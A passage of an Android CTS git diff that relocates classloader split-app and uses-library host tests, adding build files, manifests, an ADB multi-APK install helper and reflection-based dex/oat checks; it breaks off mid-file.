rename from hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java
rename to hostsidetests/classloaders/splits/apps/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java
diff --git a/hostsidetests/classloaders/splits/apps/feature_b/Android.bp b/hostsidetests/classloaders/splits/apps/feature_b/Android.bp
new file mode 100644
index 0000000..84c1f53
--- /dev/null
+++ b/hostsidetests/classloaders/splits/apps/feature_b/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsClassloaderSplitAppFeatureB",
+    defaults: [ "cts_support_defaults" ],
+    sdk_version: "current",
+    srcs: [ "src/**/*.java" ],
+    libs: [
+        "CtsClassloaderSplitApp",
+        "CtsClassloaderSplitAppFeatureA",
+    ],
+    aaptflags: [
+        "--custom-package",
+        "com.android.cts.classloadersplitapp.feature_a",
+        "--package-id",
+        "0x81",
+    ],
+}
diff --git a/hostsidetests/classloaders/splits/apps/feature_b/AndroidManifest.xml b/hostsidetests/classloaders/splits/apps/feature_b/AndroidManifest.xml
new file mode 100644
index 0000000..fa975ad
--- /dev/null
+++ b/hostsidetests/classloaders/splits/apps/feature_b/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.classloadersplitapp"
+        featureSplit="feature_b"
+        android:targetSandboxVersion="2">
+
+    <uses-split android:name="feature_a" />
+
+    <application>
+        <activity android:name=".feature_b.FeatureBActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".feature_b.FeatureBReceiver">
+            <intent-filter>
+                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values-pl/values.xml b/hostsidetests/classloaders/splits/apps/feature_b/res/values-pl/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values-pl/values.xml
rename to hostsidetests/classloaders/splits/apps/feature_b/res/values-pl/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values/values.xml b/hostsidetests/classloaders/splits/apps/feature_b/res/values/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values/values.xml
rename to hostsidetests/classloaders/splits/apps/feature_b/res/values/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java b/hostsidetests/classloaders/splits/apps/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java
rename to hostsidetests/classloaders/splits/apps/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java b/hostsidetests/classloaders/splits/apps/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java
rename to hostsidetests/classloaders/splits/apps/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseActivity.java b/hostsidetests/classloaders/splits/apps/src/com/android/cts/classloadersplitapp/BaseActivity.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseActivity.java
rename to hostsidetests/classloaders/splits/apps/src/com/android/cts/classloadersplitapp/BaseActivity.java
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseReceiver.java b/hostsidetests/classloaders/splits/apps/src/com/android/cts/classloadersplitapp/BaseReceiver.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseReceiver.java
rename to hostsidetests/classloaders/splits/apps/src/com/android/cts/classloadersplitapp/BaseReceiver.java
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java b/hostsidetests/classloaders/splits/apps/src/com/android/cts/classloadersplitapp/SplitAppTest.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
rename to hostsidetests/classloaders/splits/apps/src/com/android/cts/classloadersplitapp/SplitAppTest.java
diff --git a/hostsidetests/classloaders/splits/src/android/classloaders/cts/BaseInstallMultiple.java b/hostsidetests/classloaders/splits/src/android/classloaders/cts/BaseInstallMultiple.java
new file mode 100644
index 0000000..f5170e9
--- /dev/null
+++ b/hostsidetests/classloaders/splits/src/android/classloaders/cts/BaseInstallMultiple.java
@@ -0,0 +1,187 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.classloaders.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.util.AbiUtils;
+
+import junit.framework.TestCase;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Base class for invoking the install-multiple command via ADB. Subclass this for less typing:
+ *
+ * <code>
+ *     private class InstallMultiple extends BaseInstallMultiple&lt;InstallMultiple&gt; {
+ *         public InstallMultiple() {
+ *             super(getDevice(), null, null);
+ *         }
+ *     }
+ * </code>
+ */
+public class BaseInstallMultiple<T extends BaseInstallMultiple<?>> {
+    private final ITestDevice mDevice;
+    private final IBuildInfo mBuild;
+    private final IAbi mAbi;
+
+    private final List<String> mArgs = new ArrayList<>();
+    private final List<File> mApks = new ArrayList<>();
+    private boolean mUseNaturalAbi;
+
+    public BaseInstallMultiple(ITestDevice device, IBuildInfo buildInfo, IAbi abi) {
+        mDevice = device;
+        mBuild = buildInfo;
+        mAbi = abi;
+        addArg("-g");
+    }
+
+    T addArg(String arg) {
+        mArgs.add(arg);
+        return (T) this;
+    }
+
+    T addApk(String apk) throws FileNotFoundException {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
+        mApks.add(buildHelper.getTestFile(apk));
+        return (T) this;
+    }
+
+    T inheritFrom(String packageName) {
+        addArg("-r");
+        addArg("-p " + packageName);
+        return (T) this;
+    }
+
+    T useNaturalAbi() {
+        mUseNaturalAbi = true;
+        return (T) this;
+    }
+
+    T allowTest() {
+        addArg("-t");
+        return (T) this;
+    }
+
+    T locationAuto() {
+        addArg("--install-location 0");
+        return (T) this;
+    }
+
+    T locationInternalOnly() {
+        addArg("--install-location 1");
+        return (T) this;
+    }
+
+    T locationPreferExternal() {
+        addArg("--install-location 2");
+        return (T) this;
+    }
+
+    T forceUuid(String uuid) {
+        addArg("--force-uuid " + uuid);
+        return (T) this;
+    }
+
+    T forUser(int userId) {
+        addArg("--user " + userId);
+        return (T) this;
+    }
+
+    void run() throws DeviceNotAvailableException {
+        run(true, null);
+    }
+
+    void runExpectingFailure() throws DeviceNotAvailableException {
+        run(false, null);
+    }
+
+    void runExpectingFailure(String failure) throws DeviceNotAvailableException {
+        run(false, failure);
+    }
+
+    private void run(boolean expectingSuccess, String failure) throws DeviceNotAvailableException {
+        final ITestDevice device = mDevice;
+
+        // Create an install session
+        final StringBuilder cmd = new StringBuilder();
+        cmd.append("pm install-create");
+        for (String arg : mArgs) {
+            cmd.append(' ').append(arg);
+        }
+        if (!mUseNaturalAbi && mAbi != null) {
+            cmd.append(' ').append(AbiUtils.createAbiFlag(mAbi.getName()));
+        }
+
+        String result = device.executeShellCommand(cmd.toString());
+        TestCase.assertTrue(result, result.startsWith("Success"));
+
+        final int start = result.lastIndexOf("[");
+        final int end = result.lastIndexOf("]");
+        int sessionId = -1;
+        try {
+            if (start != -1 && end != -1 && start < end) {
+                sessionId = Integer.parseInt(result.substring(start + 1, end));
+            }
+        } catch (NumberFormatException e) {
+        }
+        if (sessionId == -1) {
+            throw new IllegalStateException("Failed to create install session: " + result);
+        }
+
+        // Push our files into session. Ideally we'd use stdin streaming,
+        // but ddmlib doesn't support it yet.
+        for (int i = 0; i < mApks.size(); i++) {
+            final File apk = mApks.get(i);
+            final String remotePath = "/data/local/tmp/" + i + "_" + apk.getName();
+            if (!device.pushFile(apk, remotePath)) {
+                throw new IllegalStateException("Failed to push " + apk);
+            }
+
+            cmd.setLength(0);
+            cmd.append("pm install-write");
+            cmd.append(' ').append(sessionId);
+            cmd.append(' ').append(i + "_" + apk.getName());
+            cmd.append(' ').append(remotePath);
+
+            result = device.executeShellCommand(cmd.toString());
+            TestCase.assertTrue(result, result.startsWith("Success"));
+        }
+
+        // Everything staged; let's pull trigger
+        cmd.setLength(0);
+        cmd.append("pm install-commit");
+        cmd.append(' ').append(sessionId);
+
+        result = device.executeShellCommand(cmd.toString()).trim();
+        if (failure == null) {
+            if (expectingSuccess) {
+                TestCase.assertTrue(result, result.startsWith("Success"));
+            } else {
+                TestCase.assertFalse(result, result.startsWith("Success"));
+            }
+        } else {
+            TestCase.assertTrue(result, result.contains(failure));
+        }
+    }
+}
diff --git a/hostsidetests/classloaders/splits/src/android/classloaders/cts/ClassloaderSplitsTest.java b/hostsidetests/classloaders/splits/src/android/classloaders/cts/ClassloaderSplitsTest.java
new file mode 100644
index 0000000..1460bfc
--- /dev/null
+++ b/hostsidetests/classloaders/splits/src/android/classloaders/cts/ClassloaderSplitsTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.classloaders.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ClassloaderSplitsTest extends BaseHostJUnit4Test {
+    private static final String PKG = "com.android.cts.classloadersplitapp";
+    private static final String TEST_CLASS = PKG + ".SplitAppTest";
+
+    /* The feature hierarchy looks like this:
+
+        APK_BASE (PathClassLoader)
+          ^
+          |
+        APK_FEATURE_A (DelegateLastClassLoader)
+          ^
+          |
+        APK_FEATURE_B (PathClassLoader)
+
+     */
+
+    private static final String APK_BASE = "CtsClassloaderSplitApp.apk";
+    private static final String APK_FEATURE_A = "CtsClassloaderSplitAppFeatureA.apk";
+    private static final String APK_FEATURE_B = "CtsClassloaderSplitAppFeatureB.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testBaseClassLoader_full() throws Exception {
+        testBaseClassLoader(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testBaseClassLoader_instant() throws Exception {
+        testBaseClassLoader(true);
+    }
+    private void testBaseClassLoader(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_BASE).run();
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testFeatureAClassLoader_full() throws Exception {
+        testFeatureAClassLoader(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testFeatureAClassLoader_instant() throws Exception {
+        testFeatureAClassLoader(true);
+    }
+    private void testFeatureAClassLoader(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).run();
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testFeatureBClassLoader_full() throws Exception {
+        testFeatureBClassLoader(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testFeatureBClassLoader_instant() throws Exception {
+        testFeatureBClassLoader(true);
+    }
+    private void testFeatureBClassLoader(boolean instant) throws Exception {
+        new InstallMultiple(instant)
+                .addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
+    }
+
+    @Test
+    @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest receivers")
+    public void testReceiverClassLoaders_full() throws Exception {
+        testReceiverClassLoaders(false);
+    }
+    private void testReceiverClassLoaders(boolean instant) throws Exception {
+        new InstallMultiple(instant)
+                .addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
+    }
+
+    protected class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
+        public InstallMultiple() {
+            this(false);
+        }
+        public InstallMultiple(boolean instant) {
+            super(getDevice(), getBuild(), getAbi());
+            addArg(instant ? "--instant" : "");
+        }
+    }
+}
diff --git a/hostsidetests/classloaders/useslibrary/Android.bp b/hostsidetests/classloaders/useslibrary/Android.bp
new file mode 100644
index 0000000..970f93b
--- /dev/null
+++ b/hostsidetests/classloaders/useslibrary/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsUsesLibraryHostTestCases",
+    defaults: [ "cts_defaults" ],
+    srcs: [ "src/**/*.java" ],
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "tradefed",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    required: [ "CtsUsesLibraryApp" ],
+    data: [ ":CtsUsesLibraryApp" ],
+}
diff --git a/hostsidetests/classloaders/useslibrary/AndroidTest.xml b/hostsidetests/classloaders/useslibrary/AndroidTest.xml
new file mode 100644
index 0000000..815f138
--- /dev/null
+++ b/hostsidetests/classloaders/useslibrary/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS UsesLibrary host tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsUsesLibraryHostTestCases.jar" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/hostsidetests/classloaders/useslibrary/TEST_MAPPING b/hostsidetests/classloaders/useslibrary/TEST_MAPPING
new file mode 100644
index 0000000..72ef61b
--- /dev/null
+++ b/hostsidetests/classloaders/useslibrary/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsUsesLibraryHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/classloaders/useslibrary/app/Android.bp b/hostsidetests/classloaders/useslibrary/app/Android.bp
new file mode 100644
index 0000000..e69db51
--- /dev/null
+++ b/hostsidetests/classloaders/useslibrary/app/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsUsesLibraryApp",
+    defaults: [ "cts_support_defaults" ],
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/AndroidManifest.xml b/hostsidetests/classloaders/useslibrary/app/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/UsesLibraryApp/AndroidManifest.xml
rename to hostsidetests/classloaders/useslibrary/app/AndroidManifest.xml
diff --git a/hostsidetests/classloaders/useslibrary/app/src/com/android/cts/useslibrary/UsesLibraryTest.java b/hostsidetests/classloaders/useslibrary/app/src/com/android/cts/useslibrary/UsesLibraryTest.java
new file mode 100644
index 0000000..7fa8b20
--- /dev/null
+++ b/hostsidetests/classloaders/useslibrary/app/src/com/android/cts/useslibrary/UsesLibraryTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.useslibrary;
+
+import android.test.InstrumentationTestCase;
+
+import dalvik.system.BaseDexClassLoader;
+import dalvik.system.DexFile;
+import dalvik.system.PathClassLoader;
+
+import java.io.File;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Arrays;
+
+public class UsesLibraryTest extends InstrumentationTestCase {
+    private static final String TAG = "UsesLibraryTest";
+
+    /**
+     * Verify that the test apk is backed by an oat file in the presence of shared libraries.
+     *
+     * This essentially verifies that dex2oat was not disabled and that hopefully
+     * the shared library check did something and was successful.
+     * Note that we cannot verify the shared library oat files (if WITH_DEXPREOPT=false
+     * we do not preopt the shared libraries).
+     */
+    public void testUsesLibrary() throws Exception {
+        ClassLoader loader = getClass().getClassLoader();
+        if (loader instanceof BaseDexClassLoader) {
+            DexFile apkDexFile = getTestDexFile((BaseDexClassLoader) loader);
+            assertTrue(isDexFileBackedByOatFile(apkDexFile));
+        }
+    }
+
+    /**
+     * Verify that the test apk is backed by an oat file when the shared libraries are missing
+     * from the class path.
+     */
+    public void testMissingLibrary() throws Exception {
+        ClassLoader loader = getClass().getClassLoader();
+        if (loader instanceof BaseDexClassLoader) {
+            DexFile apkDexFile = getTestDexFile((BaseDexClassLoader) loader);
+
+            PathClassLoader testLoader = new PathClassLoader(apkDexFile.getName(), null);
+            Object[] testDexElements = getDexElementsFromClassLoader(testLoader);
+            assertTrue(testDexElements != null && testDexElements.length == 1);
+
+            DexFile testDexFile = getDexFileFromDexElement(testDexElements[0]);
+            assertTrue(isDexFileBackedByOatFile(testDexFile));
+        }
+    }
+
+    /**
+     * Verify that we punt to run from apk if the classpath generates a class collision failure.
+     */
+    public void testDuplicateLibrary() throws Exception {
+        ClassLoader loader = getClass().getClassLoader();
+        if (loader instanceof BaseDexClassLoader) {
+            Object[] dexElements = getDexElementsFromClassLoader((BaseDexClassLoader) loader);
+            assertTrue(dexElements != null);
+            assertTrue(dexElements.length > 0);
+
+            // The last dex file should be the test apk file: com.android.cts.useslibrary.
+            DexFile apkDexFile = getDexFileFromDexElement(dexElements[dexElements.length - 1]);
+            String apkPath = apkDexFile.getName();
+
+            // In order to ensure the collision check is executed we use the apkDexFile when
+            // constructing the test class path for duplicates.
+            String testPath = apkPath + File.pathSeparator + apkPath;
+
+            PathClassLoader testLoader = new PathClassLoader(testPath, null);
+            Object[] testDexElements = getDexElementsFromClassLoader(testLoader);
+            assertTrue(testDexElements != null);
+            assertEquals(Arrays.toString(testDexElements), 2, testDexElements.length);
+
+            DexFile testDexFile = getDexFileFromDexElement(testDexElements[1]);
+            assertFalse(isDexFileBackedByOatFile(testDexFile));
+        }
+    }
+
+    private Object[] getDexElementsFromClassLoader(BaseDexClassLoader loader) throws Exception {
+        Field pathListField = BaseDexClassLoader.class.getDeclaredField("pathList");
+        pathListField.setAccessible(true);
+        // This is a DexPathList, but that class is package private.
+        Object pathList = pathListField.get(loader);
+        Field dexElementsField = pathList.getClass().getDeclaredField("dexElements");
+        dexElementsField.setAccessible(true);
+        // The objects in this array are Elements, but that class is package private.
+        return (Object[]) dexElementsField.get(pathList);
+    }
+
+    // The argument must be a DexPathList.Element.
+    private DexFile getDexFileFromDexElement(Object dexElement) throws Exception {
+        Field dexFileField = dexElement.getClass().getDeclaredField("dexFile");
+        dexFileField.setAccessible(true);
+        return (DexFile) dexFileField.get(dexElement);
+    }
+
+    private DexFile getTestDexFile(BaseDexClassLoader loader) throws Exception {
+        Object[] dexElements = getDexElementsFromClassLoader(loader);
+        assertTrue(dexElements != null && dexElements.length > 0);
+        // First dex files are shared libraries and the cts instrumentation library.
+        // The last dex file should be the test apk file: com.android.cts.useslibrary.
+        return getDexFileFromDexElement(dexElements[dexElements.length - 1]);
+    }
+
+    private boolean isDexFileBackedByOatFile(DexFile dexFile) throws Exception {
+        Method isBackedByOatFileMethod = DexFile.class.getDeclaredMethod("isBackedByOatFile");
+        isBackedByOatFileMethod.setAccessible(true);
+        return (boolean) isBackedByOatFileMethod.invoke(dexFile);
+    }
+}
diff --git a/hostsidetests/classloaders/useslibrary/src/android/classloaders/cts/BaseInstallMultiple.java b/hostsidetests/classloaders/useslibrary/src/android/classloaders/cts/BaseInstallMultiple.java
new file mode 100644
index 0000000..f5170e9
--- /dev/null
+++ b/hostsidetests/classloaders/useslibrary/src/android/classloaders/cts/BaseInstallMultiple.java
@@ -0,0 +1,187 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.classloaders.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.util.AbiUtils;
+
+import junit.framework.TestCase;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Base class for invoking the install-multiple command via ADB. Subclass this for less typing:
+ *
+ * <code>
+ *     private class InstallMultiple extends BaseInstallMultiple&lt;InstallMultiple&gt; {
+ *         public InstallMultiple() {
+ *             super(getDevice(), null, null);
+ *         }
+ *     }
+ * </code>
+ */
+public class BaseInstallMultiple<T extends BaseInstallMultiple<?>> {
+    private final ITestDevice mDevice;
+    private final IBuildInfo mBuild;
+    private final IAbi mAbi;
+
+    private final List<String> mArgs = new ArrayList<>();
+    private final List<File> mApks = new ArrayList<>();
+    private boolean mUseNaturalAbi;
+
+    public BaseInstallMultiple(ITestDevice device, IBuildInfo buildInfo, IAbi abi) {
+        mDevice = device;
+        mBuild = buildInfo;
+        mAbi = abi;
+        addArg("-g");
+    }
+
+    T addArg(String arg) {
+        mArgs.add(arg);
+        return (T) this;
+    }
+
+    T addApk(String apk) throws FileNotFoundException {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
+        mApks.add(buildHelper.getTestFile(apk));
+        return (T) this;
+    }
+
+    T inheritFrom(String packageName) {
+        addArg("-r");
+        addArg("-p " + packageName);
+        return (T) this;
+    }
+
+    T useNaturalAbi() {
+        mUseNaturalAbi = true;
+        return (T) this;
+    }
+
+    T allowTest() {
+        addArg("-t");
+        return (T) this;
+    }
+
+    T locationAuto() {
+        addArg("--install-location 0");
+        return (T) this;
+    }
+
+    T locationInternalOnly() {
+        addArg("--install-location 1");
+        return (T) this;
+    }
+
+    T locationPreferExternal() {
+        addArg("--install-location 2");
+        return (T) this;
+    }
+
+    T forceUuid(String uuid) {
+        addArg("--force-uuid " + uuid);
+        return (T) this;
+    }
+
+    T forUser(int userId) {
+        addArg("--user " + userId);
+        return (T) this;
+    }
+
+    void run() throws DeviceNotAvailableException {
+        run(true, null);
+    }
+
+    void runExpectingFailure() throws DeviceNotAvailableException {
+        run(false, null);
+    }
+
+    void runExpectingFailure(String failure) throws DeviceNotAvailableException {
+        run(false, failure);
+    }
+
+    private void run(boolean expectingSuccess, String failure) throws DeviceNotAvailableException {
+        final ITestDevice device = mDevice;
+
+        // Create an install session
+        final StringBuilder cmd = new StringBuilder();
+        cmd.append("pm install-create");
+        for (String arg : mArgs) {
+            cmd.append(' ').append(arg);
+        }
+        if (!mUseNaturalAbi && mAbi != null) {
+            cmd.append(' ').append(AbiUtils.createAbiFlag(mAbi.getName()));
+        }
+
+        String result = device.executeShellCommand(cmd.toString());
+        TestCase.assertTrue(result, result.startsWith("Success"));
+
+        final int start = result.lastIndexOf("[");
+        final int end = result.lastIndexOf("]");
+        int sessionId = -1;
+        try {
+            if (start != -1 && end != -1 && start < end) {
+                sessionId = Integer.parseInt(result.substring(start + 1, end));
+            }
+        } catch (NumberFormatException e) {
+        }
+        if (sessionId == -1) {
+            throw new IllegalStateException("Failed to create install session: " + result);
+        }
+
+        // Push our files into session. Ideally we'd use stdin streaming,
+        // but ddmlib doesn't support it yet.
+        for (int i = 0; i < mApks.size(); i++) {
+            final File apk = mApks.get(i);
+            final String remotePath = "/data/local/tmp/" + i + "_" + apk.getName();
+            if (!device.pushFile(apk, remotePath)) {
+                throw new IllegalStateException("Failed to push " + apk);
+            }
+
+            cmd.setLength(0);
+            cmd.append("pm install-write");
+            cmd.append(' ').append(sessionId);
